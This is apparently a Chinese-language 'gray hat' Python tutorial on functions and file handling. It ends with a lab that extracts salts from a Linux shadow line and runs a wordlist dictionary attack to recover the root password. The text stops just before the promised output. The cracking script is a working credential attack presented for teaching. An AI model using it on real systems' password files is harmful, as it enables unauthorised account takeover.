Python灰帽编程——初识Python之函数及文件对象

1. 函数

需求：随机密码生成器。

逻辑上讲，函数就是一个功能；代码上讲，多条Python 语句的集合，语句块。

1.1 函数介绍

1.1.1 函数基本概念

函数是对程序逻辑进行结构化或过程化的一种编程方法，将整块代码巧妙地隔离成易于管理的小块。把重复代码放到函数中而不是进行大量的拷贝，这样既能节省空间，也有助于保持一致性；通常函数都是用于实现某一种功能。

1.1.2 创建函数

Python 中函数是用==def==语句来创建的，语法如下：

def function_name(args):
    """
    定义一个函数
    """
    pass		# 可以表示任意语句

标题行由def 关键字，函数的名字，以及参数的集合（如果有的话）组成。

def 子句（函数体）的部分包括:

• （可选）体现为字符串的函数文档（函数说明，以及帮助等信息）
• （必需）函数体

1.1.3 调用函数

同大多数语言相同，Python 用()调用函数：

• 如果没有加圆括号，只是对函数的引用；

# 01 - 函数的定义和调用.py

def test():			# 定义函数，函数名为test
    print("This is function test")

test()				# 调用函数

函数调用过程：

• 函数被调用时，会单独开辟一段私有的内存空间。
• 函数运行结束的之后，会回到调用函数的位置，继续向下执行。

# 02 - 函数的调用过程.py

def a():
    print("This is function a")

def b():
    print("Function b start...")
    a()
    print("Function b stop!")

b()

1.1.4 前向引用

先定义，后调用。

>>> test()
Traceback (most recent call last):
  File "", line 1, in <module>
NameError: name 'test' is not defined
>>> def test():
...     print("This is function test")
... 
>>> test()
This is function test
>>>

1.1.5 函数返回值

多数情况下，函数并不直接打印数据，而是向调用者返回一个值：

• 函数的返回值使用return 关键字。
• 没有return 的话，函数默认返回None。

# 03 - 函数的返回值.py

def add():
    x = 10
    y = 3
    sum = x + y
    # print(sum)
    return sum

print(add() + 7)		# 函数自身是没有值（为None）。如果该函数有返回值，那么该函数就有值了。

1.2 函数参数

1.2.1 定义参数

类似于数学上的代数，用字母表示数。参数分为：

参数类型	说明
形式参数	函数定义时，紧跟在函数名后圆括号内的参数被称为形式参数，简称形参。 由于它不是实际存在变量，所以又称虚拟变量。
实际参数	函数调用时，函数名后面括号中的参数（可以是一个表达式） 称为“实际参数”，简称实参。

# 04 - 形参和实参.py

def add(x, y):
    sum = x + y
    return sum

print(add(10, 3))

注意：实参要与形参一一对应。

1.2.2 默认参数

默认参数，不向该参数传入值也是允许的

# 05 - 默认参数.py

def add(x = 0, y = 0):
    sum = x + y
    return sum

print(add())

1.2.3 关键字参数

关键字参数的概念仅仅针对函数的调用。这种理念是让调用者通过函数调用中的参数名字来区分参数。这样规范允许参数缺失或者不按顺序。

# 06 - 关键字传参.py

def add(x = 0, y = 0):
    sum = x + y
    return sum

print(add(y = 10, x = 3))	# 这里的x和y是形参。

1.3 函数变量作用域

全局和局部的问题。

1.3.1 局部变量

局部变量是在函数内部定义的变量，随着函数的调用而被创建，函数调用完毕之后，即销毁。局部变量在函数调用后，才被创建，其作用范围，仅限于函数内部。

# 07 - 局部变量.py

def test():
    x = 10
    print(x)

test()

print(x)        #NameError: name 'x' is not defined

1.3.2 全局变量

在函数外部定义的变量。

# 08 - 全局变量.py

x = 10

def test():
    # x = 3
    print(x)

test()

函数内部可以直接使用函数外部的变量。

1.3.3 名字空间

namespace。

提到变量作用域，可以想像是否可以“看见”这个标识符。

任何时候，总有一个到三个活动的作用域，分别为局部、全局和内建。标识符（变量名，函数名）的搜索顺序依次是局部、全局和内建。提到名字空间，可以想像是否有这个标识符。

1.4 其他特性

1.4.1 函数属性

函数属性是就是可以是函数名加上句点add.__ 能够访问到的内容。

# 09 - 函数的属性.py

def add(x = 0, y = 0):
    "add(x, y) means x + y"
    sum = x + y
    return sum

print(add.__name__)		# 输出函数的名称
print(add.__doc__)      # 输出双引号中的内容 文档的说明

说明：__doc__ 属性来获取函数、模块、类或方法的文档字符串（双引号中的内容）。

1.4.2 内部函数

在函数体内创建另外一个函数是完全合法的，这种函数叫做内部/内嵌函数

# 10 - 内部函数.py

def a():
    print(f"This is function {a.__name__}")

    def b():
        print(f"This is function {b.__name__}")

    b()

a()

1.4.3 位置参数

位置参数，与shell 脚本类似，程序名以及参数都以位置参数的方式传递给Python程序。

使用sys 模块的argv 列表接收。

# 11 - 位置参数.py
import sys

x = sys.argv[1]
x = int(x)
y = sys.argv[2]
y = int(y)

def add(x = 0, y = 0):
    sum = x + y
    return sum

print(add(x = x, y = y))

1.5 随机密码生成器

# 随机密码生成器.py
import string	
import random

# 方式二
# import sys
# x = sys.argv[1]

x = input("请输入需要生成的密码位数:")

# strip()去除首位空格
c_set = string.printable.strip()

def password_generator(x):
    password = ""
    for i in range(1, x + 1):
        c = random.choice(c_set)
        # print(c)
        password += c
    return password    

print("密码生成成功请妥善保管：" +  password_generator(int(x)))

说明：

• random.choice(c_set)：从非空序列c_set返回一个随机元素。

2. 文件对象

需求：Linux shadow 文件破解，从字典文件中读取密码。

函数速查：

常用函数	功能
f = open(‘PATH’)	打开指定路径的文件f 是文件对象。
f.read()	从文件对象中读取文件内容
f.readline()	读取一行内容
f.readlines()	返回一个列表，元素是文件的每一行内容
f.write()	向文件中写入内容
f.writelines()	以列表的方式向文件中写入内容。
f.close()	关闭文件
time.sleep()	沉睡响应的秒数

2.1 文件打开方式

2.1.1 打开文件

使用open() 函数打开文件

基本语法：

>>> f = open("./pass.dic")
>>> type(f)
<class '_io.TextIOWrapper'>
>>>

2.1.2 关闭文件

>>> f.close()
>>> f.closed
True
>>>

2.1.3 访问模式

访问模式	操作	说明
r	以读方式打开	默认打开文件的方式 文件不存在则报错。
w	以写方式打开	文件存在则清空，不存在则创建。
a	以追加模式打开	不存在则创建。
+	以读写模式打开	如r+，w+，a+。
b	以二进制模式打开	如rb，wb，ab。

常用打开文件的参数：

r
w
a
rb
wb
ab
>>> f = open("./pass.dic", "r")
>>> f.closed
False
>>>

2.2 文件读取

2.2.1 read()

read() 方法用来读取文件内容。

>>> f = open("./pass.dic",'r')
>>> f.read()
'123456\npassword\nabc123\nqwerty\n1qaz@WSX\na1b2c3\n123.com\ntoor\nzhangsan1990\n88888888'
>>>

read() 方法有点莽，读取文件中所有内容，此方法慎用。

read() 方法比较适合读取二进制文件，包括exe 程序，图片等文件，不适合读取纯文本文件。

2.2.2 readline()

读取打开文件的一行（读取下个行结束符之前的所有字节），包括行结束符，作为字符串返回。它也有一个可选的size 参数，默认为-1，代表读至行结束符，如果提供了该参数，那么在超过size 个字节后会返回不完整的行。

该函数每执行一次，向下读取一行。

>>> f = open("./pass.dic",'r')
>>> f.readline()
'123456\n'
>>> f.readline()
'password\n'
>>>

2.2.3 readlines()

readlines() 方法读取所有（剩余的）行然后把它们作为一个元素是字符串的列表返回。

>>> f.readlines()
['abc123\n', 'qwerty\n', '1qaz@WSX\n', 'a1b2c3\n', '123.com\n', 'toor\n', 'zhangsan1990\n', '88888888']
>>>

2.2.4 文件迭代

如果需要逐行处理文件，可以结合for 循环迭代（遍历）文件。迭代文件的方法与处理其他序列类型的数据类似。

# 12 - 文件迭代.py

f = open(file = "./pass.dic", mode = "r")

for i in f:
    print(i.strip())

f.close()

说明：strip() 是字符串对象的一个方法，用于去除字符串两端的空白字符（包括空格、制表符、换行符等）。

有可能遇到的问题：

• 在编程时，f.close() 方法容易忘记写。
• 在处理文件时，有可能会遇到异常，导致整个脚本强制退出，f.close() 不会被执行到。

# 13 - 文件迭代的改进方法.py

with open(file = "./pass.dic", mode = "r") as f:
    for line in f:
        print(line.strip())

2.3 文件输入

2.3.1 write()

write() 内建方法功能与read() 和readline() 相反。它把含有文本数据或二进制数据块的字符串写入到文件中去。写入文件时，不会自动添加行结束标志，需要程序员手工输入。

>>> f = open('sec.dic', 'a')
>>> f.write('360\n')
4
>>> f.close()
>>> f = open('sec.dic', 'a')
>>> f.write("eversec\n")
8
>>> f.close()
>>>

2.3.2 writelines()

和readlines() 一样，writelines() 方法是针对列表的操作，它接受一个字符串列表作为参数，将它们写入文件，行结束符并不会被自动加入，所以如果需要的话，必须在调用writelines() 前给每行结尾加上行结束符。

>>> l
['venustech\n', 'nsfocus\n', 'topsec\n', 'dbappsecrutiy\n', 'knownsec\n', 'colasoft\n', 'sangfor\n', 'qianxin\n', 'chaitin\n', 'sbr-info\n']
>>> f = open('sec.dic', 'a')
>>> f.writelines(l)
>>> f.close()
>>>

2.4 特殊场景

2.4.1 with语句

with 语句是用来简化代码的。比如在将打开文件的操作放在with 语句中，代码块结束后，文件将自动关闭。用来简化文件操作的打开和关闭。

>>> with open('foo.py') as f:

2.5 Linux shadow 爆破脚本实验

shadow文件中的内容

root:$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2:18711:0:99999:7:::

说明：

• 上面的$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2是加密后的密码。

加密的密码

$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2

说明：

• $加密方式，$盐值$符号最后一次出现的位置（随机的），$密码密文。

脚本内容如下：

import crypt		# 只有linux中才能用crypt

# 读取shadow文件
shadow_line = "root:$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2:18711:0:99999:7:::"
print(f"[+] The passwd line is: {shadow_line}")

# 从shadow文件中，提取密文。
crypt_text = shadow_line.split(":")[1]
print(f"[+] The crypt line is: {crypt_text}")

# 从密码密文中，提取盐值。
salt = crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt line is: {salt}")

# 从密码字典文件中，读取密码。
password = "root"

# 把读取的密码与盐值进行加密运算，得到猜测的密码密文。
new_text = crypt.crypt(password,salt)

# 如果猜测的密码密文与shadow文件中的密码密文一致，说明密码猜对了。
if new_text == crypt_text:
    print(f"[+] PASSWORD FOUND:{password}")
else:
    print("[-] PASSWORD NOT FOUND!")    

说明：

• crypt_text[0:crypt_text.rindex("$")]：从字符串中获取由0到crypt_text字符串中的最后一个$符号的的字符子串。

• crypt_text.rindex("$") 是一个字符串方法 rindex() 的调用，用于找到字符串 crypt_text 中最后一个出现 $ 字符的索引位置。

• crypt.crypt(password, salt) 是一个 crypt 模块中的函数调用，用于对密码进行加密和哈希处理。

盐值：在第一个$符号到最后一个$符号之间的所有字符。

解密是通过密码或者密码字典以及盐值来进行解密的。

完善该脚本：

import crypt
from termcolor import colored, cprint

# 读取shadow文件
with open(file="/home/kali/shadowWuHu.txt", mode="r") as f:

    for line in f:
        # 去除字符串首尾空格
        shadow_line = line.strip()

        # 从shadow文件中，提取密文。
        crypt_text = shadow_line.split(":")[1]

        # if crypt_text != "*" and crypt_text != "!" and crypt_text != "!*":
        if crypt_text[0] == "$":
            # 从密码密文中，提取盐值。
            salt = crypt_text[0:crypt_text.rindex("$")]

            # 从密码字典文件中，读取密码。
            with open(file="/home/kali/tools/wordlists/top_password.txt", mode="r") as password:
                for line in password:
                    # 去除密码字符串首尾空格
                    password_line = line.strip() 
                    print(f"\r[-] Trying password: {password_line}",end= "")
                    
                    # 把读取的密码字符串与盐值进行加密运算，得到猜测的密码密文。
                    new_text = crypt.crypt(password_line,salt)

                    # 如果猜测的密码密文与shadow文件中的密码密文一致，说明密码猜对了。
                    if new_text == crypt_text:
                        print(f"\n[+] PASSWORD FOUND= \033[31m{password_line}\033[0m")
                        break 
        else:
            continue 

说明：end="" 参数用于指定打印结束后不换行。

输出结果如下：